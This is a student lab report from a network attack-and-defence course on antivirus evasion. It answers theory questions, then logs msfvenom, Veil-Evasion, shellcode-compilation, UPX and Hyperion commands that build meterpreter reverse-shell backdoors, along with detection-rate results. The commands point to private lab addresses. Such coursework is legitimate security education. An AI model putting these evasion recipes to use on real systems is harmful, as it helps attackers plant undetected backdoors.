zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165331《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165331《网络对抗技术》Exp3 免杀原理与实践

    实验收获与感想

    通过本次实验,我对后门免杀原理有了一定理解,了解了哪些方式可以进行后门免杀操作,但是由于某些未可知的原因,其中有很多次在对后门进行免杀操作后,把后门植入Windows系统后依旧会被查杀,所以本次实验的结果我个人还是感到很遗憾的。这次实验不是结束,我会尽快解决这些问题。

    杀软是如何检测出恶意代码的?

    有基于特征码的检测、启发式恶意软件检测、基于行为的恶意软件检测等方式,通过对代码本体、行为等多方面对恶意代码进行检测。

    免杀是做什么?

    免杀是对恶意代码进行二次处理,从而降低被处理的恶意代码被杀软检测到的风险。

    免杀的基本方法有哪些?

    有对源代码进行重写、加壳等方式,有能力的话可以完全手写恶意代码。

    开启杀软能绝对防止电脑中恶意代码吗?

    从对后门进行免杀操作并提交VirusTotal或Virscan进行检测后,可以发现无论哪种方式,哪怕是直接生成的后门,都不能保证100%被检测出问题,所以杀软不是无敌的,认为开启杀软就能绝对方式电脑中恶意代码的用户早晚有一天会尝到苦头。

    实验流程

    在本次实验中,当进行到“使用veil-evasion生成后门程序”步骤时,本机无法安装veil,故本步及之后各步都是在拷贝其他同学实验环境后完成,可能会出现前后ip地址不同的情况。

    error

    注①:在本次实验中,若想在生成各种后门以后测试反弹链接效果,最简单的方法是关闭杀软及Windows防火墙,但是每次都要关闭未免太麻烦了,故可以使用部分杀软自带的信任区功能,把这些后门统一放进同一个文件夹下,并将这个文件夹添加进杀软信任区,就可以做到一劳永逸了

    注②:本次实验的结果令我有点失望,为了测试杀软效果,我重建了一个文件夹专门存放后门的copy版本并使用杀软查杀,而所有生成的后门中,只有平台不同的Java后门、PHP后门以及通过veil生成并进行压缩壳、加密壳操作后的新后门未被检测到,其余全体阵亡。可以通过下图看出被检测出与为被检测出的对比

    result

    Ⅰ正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    (1)首先对实验二中直接生成的后门提交到网站上进行检测,可以发现虽然不是所有引擎都可以检测出问题,单总体被检测率还是挺高的

    0

    (2)下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测,使用的命令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.1.119 LPORT=5331 -f exe > met_encoded.exe,通过加入-i参数控制重编码的次数,本次实验中分别进行了单次与十次的重编码

    1

    (3)从测试结果可以看出,效果不大

    2

    3

    (4)那么我们换个方式,从代码本身入手,测试不同平台代码的免杀效果

    (5)本次实验中我分别测试了Java和PHP,其中生成Java后门的命令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.119 LPORT=5331 x> 20165331_backdoor_java.jar

    4

    (6)生成PHP后门的命令为msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.119 LPORT=5331 x> 5331_backdoor_php.php

    5

    (7)下面分别是两个后门提交网站检测后的结果

    6

    7

    (8)下面使用另一种工具——veil生成后门,不过我自己的虚拟机无法安装veil,部分错误截图在上面,之后只有直接使用veil生成后门的截图。首先通过命令veil打开veil,之后使用命令use evasion进入Evil-Evasion,最后通过命令use c/meterpreter/rev_tcp.py进入配置界面

    8

    (9)通过命令set LHOST 192.168.1.155设置反弹链接IP为192.168.1.155,再通过命令set LPORT 5331设置端口为5331,最后通过命令generate生成后门,此时需要手动输入生成的后门的名称。我的设定为20165331_veil,之后等待生成后门即可,生成结束后会显示生成的后门的文件形式(c)以及存放目录等信息

    9

    (10)提交网站进行检测,结果如图

    10

    (11)再换一种方式,半手工注入Shellcode并执行,首先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5331 -f c用c语言生成一段shellcode

    11

    (12)使用vim编辑文件20165331.c,代码截图如下,之后使用命令i686-w64-mingw32-g++ 20165331.c -o 20165331.exe编译出可执行文件

    12

    13

    (13)提交可执行文件到网站检测后结果如图

    14

    (14)现在来尝试一下加壳。首先为上一步编译出的可执行文件20165331.exe加压缩壳,使用的命令为upx 20165331.exe -o 20165331_upxed.exe

    15

    (15)提交网站检测之后,发现并没有什么用,被检测率基本不变

    16

    (16)最后我们来尝试一下加密壳,首先需要把上步文件copy到目录/usr/share/windows-binaries/hyperion/下

    (17)在目录/usr/share/windows-binaries/hyperion/下,通过命令wine hyperion.exe -v 20165331_upxed.exe 20165331_upxed_Hyperion.exe进行加密壳操作

    17

    (18)将生成的文件提交到网站上进行检测,这里问题很大,进行了免杀操作后竟然比之前更加容易被检测,具体原因的话,我猜测是因为这是一种较为常见的免杀手段,导致各大杀软都对其有更严的防范

    18

    至此任务一完成

    Ⅱ通过组合应用各种技术实现恶意代码免杀

    这里我采用了通过veil生成并进行压缩壳、加密壳操作后生成新后门,在使用杀软检测后未被检测到。

    19

    Ⅲ用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    本步骤未成功,生成的后门虽然可以执行,但是无法回连

  • 相关阅读:
    关于findViewById返回空指针的错误
    android客户端向服务器发送图片和文字,类似于发微博。能用json格式发送吗?
    nodejs 学习资料大全
    篇章三:[AngularJS] 使用AngularCSS動態載入CSS
    篇章二:[AngularJS] 使用AngularAMD動態載入Service
    篇章一:[AngularJS] 使用AngularAMD動態載入Controller
    Angular 资料大集合
    js-音乐播放器,播放|暂停|滑块的功能
    JS-以鼠标位置为中心的滑轮放大功能demo1
    使用 Electron 构建桌面应用(拖动控制篇)
  • 原文地址:https://www.cnblogs.com/violence/p/10632948.html
Copyright © 2011-2022 走看看